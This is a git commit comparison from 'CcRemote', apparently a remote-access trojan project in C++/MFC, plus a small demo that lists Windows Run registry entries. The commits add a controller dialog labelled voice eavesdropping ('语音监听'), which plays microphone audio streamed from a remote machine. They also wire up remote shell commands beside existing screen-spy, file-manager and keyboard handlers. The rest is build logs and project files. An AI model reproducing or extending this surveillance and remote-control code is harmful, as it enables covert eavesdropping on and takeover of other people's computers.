Compare commits

..

2 Commits

Author SHA1 Message Date
ChangCheng
feb20dcd4e 启动项查找demo 2020-06-11 18:52:35 +08:00
changcheng
d7f2bcec1c 音频管理已经编写,但是背景处理有点问题,以后再解决 2020-06-08 20:33:24 +08:00
41 changed files with 785 additions and 31 deletions

Binary file not shown.

View File

@@ -1,3 +1,3 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|

Binary file not shown.

View File

@@ -0,0 +1,123 @@
// CAudioDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CAudioDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CAudioDlg 对话框
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_AUDIO, pParent)
{
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
m_iocpServer = pIOCPServer; //为类的成员变量赋值
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
}
CAudioDlg::~CAudioDlg()
{
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
}
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
ON_WM_CLOSE()
END_MESSAGE_MAP()
// CAudioDlg 消息处理程序
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
str.Format("\\\\%s - 语音监听", m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
DWORD CAudioDlg::WorkThread(LPVOID lparam)
{
CAudioDlg *pThis = (CAudioDlg *)lparam;
while (pThis->m_bIsWorking)
{
if (!pThis->m_bIsSendLocalAudio)
{
Sleep(1000);
continue;
}
DWORD dwBytes = 0;
LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
if (lpBuffer != NULL && dwBytes > 0)
pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
}
return 0;
}
void CAudioDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CDialog::OnClose();
}
void CAudioDlg::OnReceiveComplete(void)
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS, str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
//这里也非常简洁就是将服务端发送来的数据播放出来我们看一下这个类还是CAudio哈哈
//原来播放和录制是同一个类,我们转到这个函数
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}

View File

@@ -0,0 +1,42 @@
#pragma once
// CAudioDlg 对话框
#include "include/IOCPServer.h"
#include "..\..\common\Audio.h"
class CAudioDlg : public CDialog
{
DECLARE_DYNAMIC(CAudioDlg)
public:
CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CAudioDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_AUDIO };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
bool m_bIsWorking;
CAudio m_Audio;
private:
UINT m_nTotalRecvBytes;
HICON m_hIcon;
HANDLE m_hWorkThread;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
public:
virtual BOOL OnInitDialog();
static DWORD WorkThread(LPVOID lparam);
BOOL m_bIsSendLocalAudio;
afx_msg void OnClose();
void OnReceiveComplete(void);
};

Binary file not shown.

View File

@@ -202,7 +202,9 @@
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\..\common\Audio.h" />
<ClInclude Include="..\..\common\macros.h" />
<ClInclude Include="CAudioDlg.h" />
<ClInclude Include="CcRemote.h" />
<ClInclude Include="CcRemoteDlg.h" />
<ClInclude Include="CFileManagerDlg.h" />
@@ -226,6 +228,10 @@
<ClInclude Include="TrueColorToolBar.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\common\Audio.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="CAudioDlg.cpp" />
<ClCompile Include="CcRemote.cpp" />
<ClCompile Include="CcRemoteDlg.cpp" />
<ClCompile Include="CFileManagerDlg.cpp" />
@@ -271,6 +277,7 @@
<None Include="res\dot.cur" />
</ItemGroup>
<ItemGroup>
<Image Include="res\audio.ico" />
<Image Include="res\background_picture.bmp" />
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />

View File

@@ -87,6 +87,12 @@
<ClInclude Include="InputDlg.h">
<Filter>源文件</Filter>
</ClInclude>
<ClInclude Include="CAudioDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\Audio.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CcRemote.cpp">
@@ -137,6 +143,12 @@
<ClCompile Include="InputDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CAudioDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\..\common\Audio.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CcRemote.rc">
@@ -194,5 +206,8 @@
<Image Include="res\toolbar2.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\audio.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@@ -85,7 +85,9 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
//-------------系统-------------
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
@@ -508,14 +510,17 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
void CCcRemoteDlg::OnOnlineAudio()
{
// TODO: 在此添加命令处理程序代码
MessageBox("声音");
// MessageBox("声音");
BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineCmd()
{
// TODO: 在此添加命令处理程序代码
MessageBox("CMD");
// MessageBox("CMD");
BYTE bToken = COMMAND_SHELL;
SendSelectCommand(&bToken,sizeof(BYTE));
}
@@ -791,9 +796,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
//case WEBCAM_DLG:
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
// break;
//case AUDIO_DLG:
// ((CAudioDlg *)dlg)->OnReceiveComplete();
// break;
case AUDIO_DLG:
((CAudioDlg *)dlg)->OnReceiveComplete();
break;
//case KEYBOARD_DLG:
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
// break;
@@ -844,12 +849,12 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_AUDIO_START: // 语音
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START:
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/
case TOKEN_AUDIO_START: // 语音
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事,太菜
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
@@ -1063,6 +1068,20 @@ LRESULT CCcRemoteDlg::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
//音频管理窗口
LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
// 设置父窗口为卓面
dlg->Create(IDD_AUDIO, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = AUDIO_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
{

View File

@@ -9,6 +9,7 @@
#include "CSystemDlg.h"
#include "CScreenSpyDlg.h"
#include "CFileManagerDlg.h"
#include "CAudioDlg.h"
#pragma once
@@ -48,7 +49,7 @@ public:
private:
//--------------变量及常量----------------
SEU_QQwry *m_QQwry;
SEU_QQwry *m_QQwry; //识别IP区域
int m_OnlineCount;//上线计数
CBrush m_brush;//绘色函数
CMenu popup;//LIST菜单变量
@@ -103,6 +104,7 @@ public:
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);

View File

@@ -1,16 +1,35 @@
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
g:\ccremote\ccremote\bin\ccremote.ilk
g:\ccremote\ccremote\bin\ccremote.exe
g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

View File

@@ -1,2 +1,5 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
CAudioDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

Binary file not shown.

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcRemote\|
Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|

BIN
CcRemote/CcRemote/RCa16756 Normal file

Binary file not shown.

BIN
CcRemote/CcRemote/RDa16756 Normal file

Binary file not shown.

View File

@@ -17,6 +17,7 @@
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#endif //PCH_H

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

31
StartDemo/StartDemo.sln Normal file
View File

@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.1022
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "StartDemo", "StartDemo\StartDemo.vcxproj", "{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x64.ActiveCfg = Debug|x64
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x64.Build.0 = Debug|x64
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x86.ActiveCfg = Debug|Win32
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x86.Build.0 = Debug|Win32
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x64.ActiveCfg = Release|x64
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x64.Build.0 = Release|x64
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x86.ActiveCfg = Release|Win32
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {8DF98FBA-5DA4-49FA-9BC6-EFDD98E2CE5C}
EndGlobalSection
EndGlobal

View File

@@ -0,0 +1,192 @@
#include "CRegOperate.h"
CRegOperate::CRegOperate(HKEY beginKey, TCHAR* path)
{
dwType = REG_BINARY | REG_DWORD | REG_EXPAND_SZ | REG_MULTI_SZ | REG_NONE | REG_SZ;
//Begin to get HKEY of path.
Query(beginKey, path);
//test if queue is empty<74><79><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
while (!keystack.empty())
{
string newPath = keystack.front();
keystack.pop();
Query(beginKey, newPath.c_str());
}
//Release.
RegCloseKey(beginKey);
}
CRegOperate::~CRegOperate()
{
}
void CRegOperate::Query(HKEY rootKey, const char* path)
{
vecKeyName.clear();
vecKeyName.reserve(200);
#ifdef COMMAND_OUTPUT
_tprintf(TEXT("\nProcess: %s :\n"), path);
#endif
HKEY hKey;
if (RegOpenKeyEx(rootKey, path, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
{
RegCloseKey(hKey);
return;
}
TCHAR achKey[MAX_KEY_LENGTH]; // buffer for subkey name
DWORD cbName; // size of name string
TCHAR achClass[MAX_PATH] = TEXT(""); // buffer for class name
DWORD cchClassName = MAX_PATH; // size of class string
DWORD cSubKeys = 0; // number of subkeys
DWORD cbMaxSubKey; // longest subkey size
DWORD cchMaxClass; // longest class string
DWORD cValues; // number of values for key
DWORD cchMaxValue; // longest value name
DWORD cbMaxValueData; // longest value data
DWORD cbSecurityDescriptor; // size of security descriptor
FILETIME ftLastWriteTime; // last write time
DWORD i, retCode;
TCHAR achValue[MAX_VALUE_NAME];
DWORD cchValue = MAX_VALUE_NAME;
// Get the class name and the value count.
retCode = RegQueryInfoKey(
hKey, // key handle
achClass, // buffer for class name
&cchClassName, // size of class string
NULL, // reserved
&cSubKeys, // number of subkeys
&cbMaxSubKey, // longest subkey size
&cchMaxClass, // longest class string
&cValues, // number of values for this key
&cchMaxValue, // longest value name
&cbMaxValueData, // longest value data
&cbSecurityDescriptor, // security descriptor
&ftLastWriteTime); // last write time
// Enumerate the subkeys, until RegEnumKeyEx fails.
if (cSubKeys)
{
#ifdef COMMAND_OUTPUT
printf("Number of subkeys: %d\n", cSubKeys);
#endif
for (i = 0; i < cSubKeys; i++)
{
cbName = MAX_KEY_LENGTH;
retCode = RegEnumKeyEx(hKey, i,
achKey,
&cbName,
NULL,
NULL,
NULL,
&ftLastWriteTime);
if (retCode == ERROR_SUCCESS)
{
#ifdef COMMAND_OUTPUT
_tprintf(TEXT("(%d) %s\n"), i + 1, achKey);
#endif
//use achKey to build new path and input it into stack.
std::string newPath = "";
newPath.append(path);
newPath.append("\\");
newPath.append(achKey);
keystack.push(newPath);
}
}
}
// Enumerate the key values.
if (cValues)
{
#ifdef COMMAND_OUTPUT
printf("Number of values: %d\n", cValues);
#endif
for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
{
cchValue = MAX_VALUE_NAME;
achValue[0] = '\0';
unsigned char vari[70];
retCode = RegEnumValue(hKey, i,
achValue,
&cchValue,
NULL,
NULL,
NULL,
NULL);
if (retCode == ERROR_SUCCESS)
{
std::string filePath = "";
TCHAR szBuffer[255] = { 0 };
DWORD dwNameLen = 255;
DWORD rQ = RegQueryValueEx(hKey, achValue, 0, &dwType, (LPBYTE)szBuffer, &dwNameLen);
if (rQ == ERROR_SUCCESS)
{
filePath.append(szBuffer);
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ļ<EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>vector<6F><72>
vecKeyName.push_back(filePath);
//_tprintf(TEXT("(%d) %s %s\n"), i + 1, achValue, szBuffer);
}
}
}
}
//release.
RegCloseKey(hKey);
}

View File

@@ -0,0 +1,33 @@
#pragma once
#include <time.h>
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <tchar.h>
#include <fstream>
#include <queue>
#include <vector>
using namespace std;
class CRegOperate
{
public:
CRegOperate(HKEY beginKey, TCHAR* path);
~CRegOperate();
private:
#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383
DWORD dwType;
queue<string> keystack;
//<2F><>ѯ<EFBFBD><D1AF>ֵ
void Query(HKEY rootKey, const char* path);
public:
vector<string> vecKeyName;
};

View File

@@ -0,0 +1,13 @@
f:\myapp\ccremote\startdemo\startdemo\debug\vc141.pdb
f:\myapp\ccremote\startdemo\startdemo\debug\vc141.idb
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.obj
f:\myapp\ccremote\startdemo\startdemo\debug\cregoperate.obj
f:\myapp\ccremote\startdemo\debug\startdemo.exe
f:\myapp\ccremote\startdemo\debug\startdemo.ilk
f:\myapp\ccremote\startdemo\debug\startdemo.pdb
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.command.1.tlog
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.read.1.tlog
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.write.1.tlog
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\link.command.1.tlog
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\link.read.1.tlog
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\link.write.1.tlog

View File

@@ -0,0 +1,3 @@
 StartDemo.cpp
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(35): warning C4018: “<”: 有符号/无符号不匹配
StartDemo.vcxproj -> F:\myapp\CcRemote\StartDemo\Debug\StartDemo.exe

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\StartDemo\|

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,43 @@

#include <time.h>
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <tchar.h>
#include <fstream>
#include <queue>
#include "CRegOperate.h"
int _tmain(int argc, _TCHAR* argv[])
{
//64位注册表
TCHAR N1path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
//32位注册表
TCHAR N3path[] = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run";
TCHAR N2path[] = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run";
//HKEY_CURRENT_USER
CRegOperate test_reg(HKEY_CURRENT_USER, N1path);
for (int i = 0; i < test_reg.vecKeyName.size(); i++) {
_tprintf(TEXT("%s\n"),test_reg.vecKeyName[i].c_str());
}
system("pause");
return 0;
}

View File

@@ -0,0 +1,167 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>StartDemo</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
